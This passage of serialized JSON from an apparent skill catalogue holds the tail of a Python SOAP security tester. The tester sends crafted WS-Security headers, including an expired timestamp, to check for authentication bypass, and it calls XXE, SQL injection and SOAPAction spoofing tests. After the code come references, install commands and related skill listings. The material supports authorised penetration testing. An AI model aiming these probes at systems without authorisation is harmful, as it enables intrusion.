\u003Cwsu:Timestamp>\n      \u003Cwsu:Created>2020-01-01T00:00:00Z\u003C\u002Fwsu:Created>\n      \u003Cwsu:Expires>2020-01-01T00:05:00Z\u003C\u002Fwsu:Expires>\n    \u003C\u002Fwsu:Timestamp>\n  \u003C\u002Fwsse:Security>'''\n            }\n        ]\n\n        results = []\n        for test in test_cases:\n            if self.operations:\n                operation = self.operations[0]\n                soap_body = f'''\u003Csoapenv:Envelope xmlns:soapenv=\"http:\u002F\u002Fschemas.xmlsoap.org\u002Fsoap\u002Fenvelope\u002F\">\n  \u003Csoapenv:Header>\n    {test[\"header\"]}\n  \u003C\u002Fsoapenv:Header>\n  \u003Csoapenv:Body>\n    \u003C{operation.name}>\u003Cparam>test\u003C\u002Fparam>\u003C\u002F{operation.name}>\n  \u003C\u002Fsoapenv:Body>\n\u003C\u002Fsoapenv:Envelope>'''\n\n                try:\n                    response = requests.post(\n                        self.endpoint_url,\n                        data=soap_body,\n                        headers={\"Content-Type\": \"text\u002Fxml; charset=utf-8\"},\n                        timeout=10\n                    )\n\n                    accepted = response.status_code == 200 and \"Fault\" not in response.text\n                    if accepted:\n                        self.findings.append({\n                            \"severity\": \"CRITICAL\",\n                            \"type\": \"WS-Security Bypass\",\n                            \"operation\": operation.name,\n                            \"details\": test[\"name\"]\n                        })\n\n                    results.append({\n                        \"test\": test[\"name\"],\n                        \"accepted\": accepted,\n                        \"status_code\": response.status_code\n                    })\n                except requests.exceptions.RequestException:\n                    continue\n\n        return {\"ws_security_results\": results}\n\n    def generate_report(self) -> dict:\n        \"\"\"Generate comprehensive security assessment report.\"\"\"\n        return {\n            \"target\": self.endpoint_url,\n            \"wsdl\": self.wsdl_url,\n            \"operations_tested\": len(self.operations),\n            \"total_findings\": len(self.findings),\n            \"critical\": len([f for f in self.findings if f[\"severity\"] == \"CRITICAL\"]),\n            \"high\": len([f for f in self.findings if f[\"severity\"] == \"HIGH\"]),\n            \"findings\": self.findings\n        }\n\n\ndef main():\n    wsdl_url = sys.argv[1] if len(sys.argv) > 1 else \"http:\u002F\u002Flocalhost:8080\u002Fws?wsdl\"\n    tester = SOAPSecurityTester(wsdl_url)\n\n    print(f\"[*] Parsing WSDL: {wsdl_url}\")\n    operations = tester.parse_wsdl()\n\n    for op in operations:\n        print(f\"\\n[*] Testing operation: {op.name}\")\n        tester.test_xxe_vulnerability(op)\n        tester.test_sql_injection(op)\n\n    tester.test_soapaction_spoofing()\n    tester.test_ws_security_bypass()\n\n    report = tester.generate_report()\n    print(f\"\\n{'='*60}\")\n    print(f\"SOAP Security Assessment Report\")\n    print(f\"{'='*60}\")\n    print(f\"Target: {report['target']}\")\n    print(f\"Operations Tested: {report['operations_tested']}\")\n    print(f\"Findings: {report['total_findings']} \"\n          f\"(Critical: {report['critical']}, High: {report['high']})\")\n\n    for finding in report['findings']:\n        print(f\"\\n  [{finding['severity']}] {finding['type']}\")\n        print(f\"  Operation: {finding['operation']}\")\n        print(f\"  Details: {finding['details']}\")\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n## References\n\n- SecureLayer7 OWASP SOAP Pentesting: https:\u002F\u002Fblog.securelayer7.net\u002Fowasp-top-10-pentesting-mitigating-soap-service-risks\u002F\n- BrightSec SOAP Vulnerabilities: https:\u002F\u002Fbrightsec.com\u002Fblog\u002Ftop-7-soap-api-vulnerabilities\u002F\n- Levo.ai SOAP API Security Testing Guide: https:\u002F\u002Fwww.levo.ai\u002Fresources\u002Fblogs\u002Fsoap-api-security-testing\n- SoapUI Web Service Hacking: https:\u002F\u002Fwww.soapui.org\u002Fdocs\u002Fsoap-and-wsdl\u002Ftips-and-tricks\u002Fweb-service-hacking\u002F\n- PortSwigger XXE Tutorial: https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fxxe\n",{"name":5,"note":25,"tags":26,"author":36,"domain":37,"source":38,"license":15,"version":39,"nist_csf":40,"subdomain":45,"description":7,"mitre_attack":46,"source_commit":52},"Vendored verbatim from an external Apache-2.0 security-skill library, pinned by commit. Exceeds the internal 300-line skill guideline (agent-code-constraints.md) -- kept as-is because this is vendored reference material (forensics\u002Fthreat-intel procedure), not Yana AI-authored content, and trimming would damage technical accuracy.",[27,28,29,30,31,32,33,34,35],"soap","web-services","wsdl","xml-injection","xxe","ws-security","penetration-testing","soapaction-spoofing","xpath-injection","mahipal","cybersecurity","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","1.0",[41,42,43,44],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01","api-security",[47,48,49,50,51],"T1190","T1059.007","T1552.001","T1055","T1059","04450304b12645cb2b974ab96d28c0664758a88d","main","481dcd7dd2e288b9d627a2bd017db70e64e6c6fa","core\u002Fskills\u002Fperforming-soap-web-service-security-testing",1,"https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI","https:\u002F\u002Fyana.vutam.link\u002F","https:\u002F\u002Fgithub.com\u002FHoronomos-laps","https:\u002F\u002Fyana.vutam.link","An open-source governed runtime & execution environment for multi-agent AI systems.","2026-11-11 23:56:26",{"source":8,"skillName":5,"commands":64,"prompt":74,"zipAvailable":75},[65,68,71],{"tool":66,"command":67},"npx","npx skills add Horonomos-laps\u002FYana-AI --skill performing-soap-web-service-security-testing",{"tool":69,"command":70},"bunx","bunx skills add Horonomos-laps\u002FYana-AI --skill performing-soap-web-service-security-testing",{"tool":72,"command":73},"pnpm","pnpm dlx skills add Horonomos-laps\u002FYana-AI --skill performing-soap-web-service-security-testing","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fperforming-soap-web-service-security-testing\u002FSKILL.md",true,[77,81,87],{"path":78,"resourceType":78,"resourceTypeDesc":79,"sizeBytes":80,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":82,"resourceType":83,"resourceTypeDesc":84,"sizeBytes":85,"sourceHtmlUrl":86},"references\u002Fapi-reference.md","REFERENCE","参考文档",2331,"https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fperforming-soap-web-service-security-testing\u002Freferences\u002Fapi-reference.md",{"path":88,"resourceType":89,"resourceTypeDesc":90,"sizeBytes":91,"sourceHtmlUrl":92},"scripts\u002Fagent.py","SCRIPT","脚本",8104,"https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fperforming-soap-web-service-security-testing\u002Fscripts\u002Fagent.py",[94,102,109,117,125,133],{"skillNo":95,"name":96,"nameZh":6,"description":97,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":98,"licenseFileUrl":6,"sourceHtmlUrl":99,"categories":100,"keywords":101,"publishedAt":20},"01M735GKET5YVYKAY62W2P5YXB","openai--sentry--sentry","Use when the user asks to inspect Sentry issues or events, summarize recent production errors, or pull basic Sentry health data via the Sentry API; perform read-only queries with the bundled script and require `SENTRY_AUTH_TOKEN`.","MIT","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fopenai--sentry--sentry\u002FSKILL.md",[],[],{"skillNo":103,"name":104,"nameZh":6,"description":105,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":106,"categories":107,"keywords":108,"publishedAt":20},"01M73DCAP83T17HY7SMGK7MGFE","ito-basket-compare","Compare Itô prediction-market baskets against a user's knowledge base, portfolio notes, financial context, watchlist, or research thesis. Use for read-only basket comparison and gap analysis without investment advice or live trading.","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fito-basket-compare\u002FSKILL.md",[],[],{"skillNo":110,"name":111,"nameZh":6,"description":112,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":113,"sourceHtmlUrl":114,"categories":115,"keywords":116,"publishedAt":20},"01M734CYEMZFDR3KH6SW0JP8TD","implementing-network-traffic-baselining","Build network traffic baselines from NetFlow\u002FIPFIX data using Python pandas for statistical analysis, z-score anomaly detection, and hourly\u002Fdaily traffic pattern profiling","https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fimplementing-network-traffic-baselining\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fimplementing-network-traffic-baselining\u002FSKILL.md",[],[],{"skillNo":118,"name":119,"nameZh":6,"description":120,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":121,"sourceHtmlUrl":122,"categories":123,"keywords":124,"publishedAt":20},"01M73ASZ6NJRJM44Z2P84NGQ3Q","detecting-evasion-techniques-in-endpoint-logs","Detects defense evasion techniques used by adversaries in endpoint logs including log tampering, timestomping, process injection, and security tool disabling. Use when investigating suspicious endpoint behavior, building detection rules for evasion tactics, or conducting threat hunting for stealthy adversary activity. Activates for requests involving evasion detection, defense evasion analysis, log tampering detection, or MITRE ATT&CK TA0005.","https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fdetecting-evasion-techniques-in-endpoint-logs\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fdetecting-evasion-techniques-in-endpoint-logs\u002FSKILL.md",[],[],{"skillNo":126,"name":127,"nameZh":6,"description":128,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":129,"sourceHtmlUrl":130,"categories":131,"keywords":132,"publishedAt":20},"01M734AFNXD06Z78QRK0VKGT7Q","implementing-microsegmentation-with-guardicore","Implementing microsegmentation using Akamai Guardicore Segmentation to map application dependencies, create granular network policies, visualize east-west traffic flows, and enforce least-privilege communication between workloads across data centers and cloud.","https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fimplementing-microsegmentation-with-guardicore\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fimplementing-microsegmentation-with-guardicore\u002FSKILL.md",[],[],{"skillNo":134,"name":135,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":136,"categories":137,"keywords":138,"publishedAt":20},"01M736TK27QMCXK0DVCH25SJN5","ramdisk-tmpfs-patterns","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Framdisk-tmpfs-patterns\u002FSKILL.md",[],[]]